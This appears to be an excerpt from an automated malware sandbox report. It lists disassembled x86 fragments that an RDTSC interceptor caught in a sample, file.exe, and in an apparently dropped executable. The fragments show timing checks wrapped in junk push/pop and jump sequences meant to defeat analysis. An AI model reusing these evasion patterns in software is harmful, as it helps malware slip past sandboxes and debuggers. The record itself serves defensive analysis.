Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE873D second address: EE8763 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F52D87EB826h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F52D87EB836h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8763 second address: EE8769 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE8769 second address: EE876D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EE876D second address: EE8771 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED4D7 second address: EED54C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov edx, dword ptr [ebp+122D1B5Bh] 0x00000011 push dword ptr [ebp+122D1A5Eh] 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F52D87EB828h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 00000016h 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 cmc 0x00000032 mov edx, dword ptr [ebp+122D2D46h] 0x00000038 call 00007F52D87EB829h 0x0000003d pushad 0x0000003e jno 00007F52D87EB83Bh 0x00000044 jno 00007F52D87EB82Ch 0x0000004a popad 0x0000004b push eax 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED54C second address: EED550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED550 second address: EED556 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED556 second address: EED582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F52D91A335Bh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push ebx 0x00000012 jmp 00007F52D91A335Bh 0x00000017 pop ebx 0x00000018 mov eax, dword ptr [eax] 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED582 second address: EED588 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EED588 second address: EED58D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EEE7C0 second address: EEE7CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F52D87EB826h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF047C second address: EF0495 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Fh 0x00000007 jl 00007F52D91A335Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF006B second address: EF0071 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF0071 second address: EF0077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01A4 second address: 4CA01AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01AA second address: 4CA01CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov edi, 6326F5C0h 0x00000012 mov edi, 0265ADECh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA01CB second address: 4CA0226 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, 4C97h 0x00000007 mov bx, ax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F52D87EB82Fh 0x00000015 and si, D79Eh 0x0000001a jmp 00007F52D87EB839h 0x0000001f popfd 0x00000020 mov dl, cl 0x00000022 popad 0x00000023 xchg eax, ebp 0x00000024 pushad 0x00000025 mov dx, 26ACh 0x00000029 mov ebx, 5FA00198h 0x0000002e popad 0x0000002f mov ebp, esp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F52D87EB82Ah 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0226 second address: 4CA024C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 jmp 00007F52D91A335Dh 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F52D91A335Dh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA024C second address: 4CA0252 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0252 second address: 4CA0256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04EA8 second address: E04EC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB832h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d jg 00007F52D87EB826h 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E04EC9 second address: E04ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0513B second address: E05145 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F52D87EB826h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E05145 second address: E0515D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D91A3364h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0383 second address: 4CA0388 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0388 second address: 4CA03A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F52D91A335Dh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov bx, D76Eh 0x00000014 mov bl, FCh 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA03A7 second address: 4CA03EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB831h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F52D87EB82Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 movsx ebx, si 0x00000017 jmp 00007F52D87EB836h 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0418 second address: 4CA041E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA041E second address: 4CA0422 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0422 second address: 4CA0450 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push 4EBFE3EAh 0x0000000d jmp 00007F52D91A3364h 0x00000012 add dword ptr [esp], 276A383Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0450 second address: 4CA046D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB839h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA046D second address: 4CA04E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F52D91A3367h 0x00000009 adc ecx, 205677AEh 0x0000000f jmp 00007F52D91A3369h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F52D91A3360h 0x0000001b adc si, 2928h 0x00000020 jmp 00007F52D91A335Bh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 call 00007F534A736E7Bh 0x0000002e push 762327D0h 0x00000033 push dword ptr fs:[00000000h] 0x0000003a mov eax, dword ptr [esp+10h] 0x0000003e mov dword ptr [esp+10h], ebp 0x00000042 lea ebp, dword ptr [esp+10h] 0x00000046 sub esp, eax 0x00000048 push ebx 0x00000049 push esi 0x0000004a push edi 0x0000004b mov eax, dword ptr [762C0140h] 0x00000050 xor dword ptr [ebp-04h], eax 0x00000053 xor eax, ebp 0x00000055 push eax 0x00000056 mov dword ptr [ebp-18h], esp 0x00000059 push dword ptr [ebp-08h] 0x0000005c mov eax, dword ptr [ebp-04h] 0x0000005f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000066 mov dword ptr [ebp-08h], eax 0x00000069 lea eax, dword ptr [ebp-10h] 0x0000006c mov dword ptr fs:[00000000h], eax 0x00000072 ret 0x00000073 push eax 0x00000074 push edx 0x00000075 push eax 0x00000076 push edx 0x00000077 jmp 00007F52D91A3360h 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA04E6 second address: 4CA04EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA04EA second address: 4CA04F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA04F0 second address: 4CA04F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA04F5 second address: 4CA050F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, esi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F52D91A335Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA050F second address: 4CA0554 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB839h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c jmp 00007F52D87EB82Eh 0x00000011 mov esi, edx 0x00000013 jmp 00007F52D87EB830h 0x00000018 mov al, byte ptr [edx] 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0554 second address: 4CA05E1 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F52D91A3363h 0x00000008 jmp 00007F52D91A3363h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 mov ax, 9B25h 0x00000015 mov ebx, esi 0x00000017 popad 0x00000018 popad 0x00000019 inc edx 0x0000001a pushad 0x0000001b pushad 0x0000001c mov di, cx 0x0000001f jmp 00007F52D91A3364h 0x00000024 popad 0x00000025 mov di, ax 0x00000028 popad 0x00000029 test al, al 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007F52D91A335Ah 0x00000032 sbb esi, 0591BA98h 0x00000038 jmp 00007F52D91A335Bh 0x0000003d popfd 0x0000003e push eax 0x0000003f push edx 0x00000040 call 00007F52D91A3366h 0x00000045 pop ecx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA05E1 second address: 4CA0554 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB82Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jne 00007F52D87EB77Eh 0x00000010 mov al, byte ptr [edx] 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA063D second address: 4CA0644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0644 second address: 4CA0652 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 dec edi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0652 second address: 4CA0656 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0656 second address: 4CA065C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA065C second address: 4CA066A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D91A335Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA066A second address: 4CA067B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA067B second address: 4CA067F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA067F second address: 4CA0697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB834h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0697 second address: 4CA0719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, byte ptr [edi+01h] 0x0000000c pushad 0x0000000d push eax 0x0000000e pushfd 0x0000000f jmp 00007F52D91A335Bh 0x00000014 and cl, FFFFFFEEh 0x00000017 jmp 00007F52D91A3369h 0x0000001c popfd 0x0000001d pop ecx 0x0000001e push edx 0x0000001f mov cl, ABh 0x00000021 pop ebx 0x00000022 popad 0x00000023 inc edi 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F52D91A3362h 0x0000002b or ah, FFFFFF98h 0x0000002e jmp 00007F52D91A335Bh 0x00000033 popfd 0x00000034 mov esi, 15E5C74Fh 0x00000039 popad 0x0000003a test al, al 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F52D91A3361h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0719 second address: 4CA077B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB831h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F5349D73B77h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F52D87EB82Ch 0x00000016 or eax, 76435258h 0x0000001c jmp 00007F52D87EB82Bh 0x00000021 popfd 0x00000022 mov ah, DBh 0x00000024 popad 0x00000025 mov ecx, edx 0x00000027 pushad 0x00000028 jmp 00007F52D87EB831h 0x0000002d push ecx 0x0000002e mov bx, 5382h 0x00000032 pop ebx 0x00000033 popad 0x00000034 shr ecx, 02h 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA077B second address: 4CA0796 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A3367h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0796 second address: 4CA079C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA079C second address: 4CA07A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA07A0 second address: 4CA0809 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB82Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rep movsd 0x0000000d rep movsd 0x0000000f rep movsd 0x00000011 rep movsd 0x00000013 rep movsd 0x00000015 pushad 0x00000016 mov edi, esi 0x00000018 pushfd 0x00000019 jmp 00007F52D87EB830h 0x0000001e jmp 00007F52D87EB835h 0x00000023 popfd 0x00000024 popad 0x00000025 mov ecx, edx 0x00000027 jmp 00007F52D87EB82Eh 0x0000002c and ecx, 03h 0x0000002f jmp 00007F52D87EB830h 0x00000034 rep movsb 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0809 second address: 4CA080D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA080D second address: 4CA082A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB839h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA082A second address: 4CA083A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D91A335Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA083A second address: 4CA0855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F52D87EB82Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0855 second address: 4CA091F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, ebx 0x0000000b jmp 00007F52D91A3366h 0x00000010 mov ecx, dword ptr [ebp-10h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F52D91A335Eh 0x0000001a jmp 00007F52D91A3365h 0x0000001f popfd 0x00000020 pushfd 0x00000021 jmp 00007F52D91A3360h 0x00000026 adc ah, FFFFFFE8h 0x00000029 jmp 00007F52D91A335Bh 0x0000002e popfd 0x0000002f popad 0x00000030 mov dword ptr fs:[00000000h], ecx 0x00000037 jmp 00007F52D91A3366h 0x0000003c pop ecx 0x0000003d jmp 00007F52D91A3360h 0x00000042 pop edi 0x00000043 jmp 00007F52D91A3360h 0x00000048 pop esi 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007F52D91A3367h 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA091F second address: 4CA0937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D87EB834h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0937 second address: 4CA093B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA093B second address: 4CA0950 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F52D87EB82Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0950 second address: 4CA0956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0956 second address: 4CA0418 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB82Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b leave 0x0000000c jmp 00007F52D87EB82Eh 0x00000011 retn 0008h 0x00000014 cmp dword ptr [ebp-2Ch], 10h 0x00000018 mov eax, dword ptr [ebp-40h] 0x0000001b jnc 00007F52D87EB825h 0x0000001d push eax 0x0000001e lea edx, dword ptr [ebp-00000590h] 0x00000024 push edx 0x00000025 call esi 0x00000027 push 00000008h 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F52D87EB835h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A20 second address: 4CA0A6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F52D91A3361h 0x00000009 adc eax, 42ABF966h 0x0000000f jmp 00007F52D91A3361h 0x00000014 popfd 0x00000015 push esi 0x00000016 pop ebx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F52D91A3369h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A6E second address: 4CA0A93 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D87EB831h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007F52D87EB82Ah 0x00000012 pop esi 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0A93 second address: 4CA0A99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: DDF398 second address: DDF3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: DDF3A0 second address: DDF3B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F52D91A335Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: DDF3B5 second address: DDEB4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F52D87EB838h 0x0000000c popad 0x0000000d nop 0x0000000e clc 0x0000000f mov dword ptr [ebp+122D251Ch], ebx 0x00000015 push dword ptr [ebp+122D0445h] 0x0000001b jmp 00007F52D87EB835h 0x00000020 call dword ptr [ebp+122D276Dh] 0x00000026 pushad 0x00000027 jl 00007F52D87EB827h 0x0000002d jo 00007F52D87EB827h 0x00000033 cld 0x00000034 xor eax, eax 0x00000036 mov dword ptr [ebp+122D1CBDh], eax 0x0000003c mov edx, dword ptr [esp+28h] 0x00000040 cmc 0x00000041 mov dword ptr [ebp+122D1CBDh], edi 0x00000047 mov dword ptr [ebp+122D2AD6h], eax 0x0000004d or dword ptr [ebp+122D1CBDh], ebx 0x00000053 mov esi, 0000003Ch 0x00000058 mov dword ptr [ebp+122D1CBDh], ebx 0x0000005e mov dword ptr [ebp+122D266Fh], ebx 0x00000064 add esi, dword ptr [esp+24h] 0x00000068 cmc 0x00000069 lodsw 0x0000006b xor dword ptr [ebp+122D2763h], edi 0x00000071 add eax, dword ptr [esp+24h] 0x00000075 jl 00007F52D87EB831h 0x0000007b pushad 0x0000007c je 00007F52D87EB826h 0x00000082 mov cx, si 0x00000085 popad 0x00000086 mov ebx, dword ptr [esp+24h] 0x0000008a mov dword ptr [ebp+122D2683h], edi 0x00000090 nop 0x00000091 push eax 0x00000092 push edx 0x00000093 jc 00007F52D87EB82Ch 0x00000099 push eax 0x0000009a push edx 0x0000009b rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: DDEB4D second address: DDEB51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: DDEB51 second address: DDEB6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F52D87EB836h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: DDEB6B second address: DDEB6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5CB1F second address: F5CB23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsIDHJEBGIEB.exe	RDTSC instruction interceptor: First address: F5CB23 second address: F5CB37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F52D91A3356h 0x0000000a jmp 00007F52D91A335Ah 0x0000000f rdtsc
